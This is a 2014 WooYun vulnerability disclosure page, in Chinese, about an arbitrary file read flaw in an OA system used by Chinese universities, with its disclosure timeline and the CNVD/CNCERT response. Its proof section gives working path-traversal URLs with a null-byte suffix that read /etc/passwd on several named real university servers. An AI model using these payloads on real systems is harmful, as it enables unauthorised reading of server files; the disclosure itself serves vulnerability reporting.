漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-058386
漏洞标题：某厂商OA系统通用型任意文件读取漏洞
相关厂商：cncert国家互联网应急中心
漏洞作者： wefgod
提交时间：2014-04-25 10:57
修复时间：2014-07-24 10:58
公开时间：2014-07-24 10:58
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-25： 细节已通知厂商并且等待厂商处理中
2014-04-30： 厂商已经确认，细节仅向厂商公开
2014-05-03： 细节向第三方安全合作伙伴开放
2014-06-24： 细节向核心白帽子及相关领域专家公开
2014-07-04： 细节向普通白帽子公开
2014-07-14： 细节向实习白帽子公开
2014-07-24： 细节向公众公开
简要描述：
上次提交过他的另一发，但是最终还是走小厂商了。唉。http://www.wooyun.org/bugs/wooyun-2014-058143
这次的只影响OA系统。
详细说明：
厂商：
搜索（不是很准确找不到合适的关键字）：
漏洞证明：
低版本可以这样：
http://www.biem.edu.cn/biemoa/info/infoShowAction.do?accessory=%3f%3f%a1%c0%a8%ba%a1%a4%3f%3f%3f.xls&id=../../../../../../../../../../etc/passwd%00.jpg&method=getAccessory
高版本则是：
http://oa.ccucm.edu.cn/oa/info/infoShowAction.do?accessory=1&id=../../../../../../../../../../etc/passwd%00.jpg&method=getAccessory
http://oa.swpu.edu.cn/swpuoa/info/infoShowAction.do?accessory=1&id=../../../../../../../../../../etc/passwd%00.jpg&method=getAccessory
http://oa.bnu.edu.cn/bnuoa/info/infoShowAction.do?accessory=1&id=../../../../../../../../../../etc/passwd%00.jpg&method=getAccessory
修复方案：
全走小厂商真伤心。
版权声明：转载请注明来源 wefgod@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-04-30 09:43
厂商回复：
CNVD确认并复现所述多个案例（验证工作由CNVD成员单位——上海交通大学网络信息中心协助完成），已经转由CNCERT向教育网应急组织——赛尔网络公司通报所述案例情况，同时抄报CCERT
最新状态：
暂无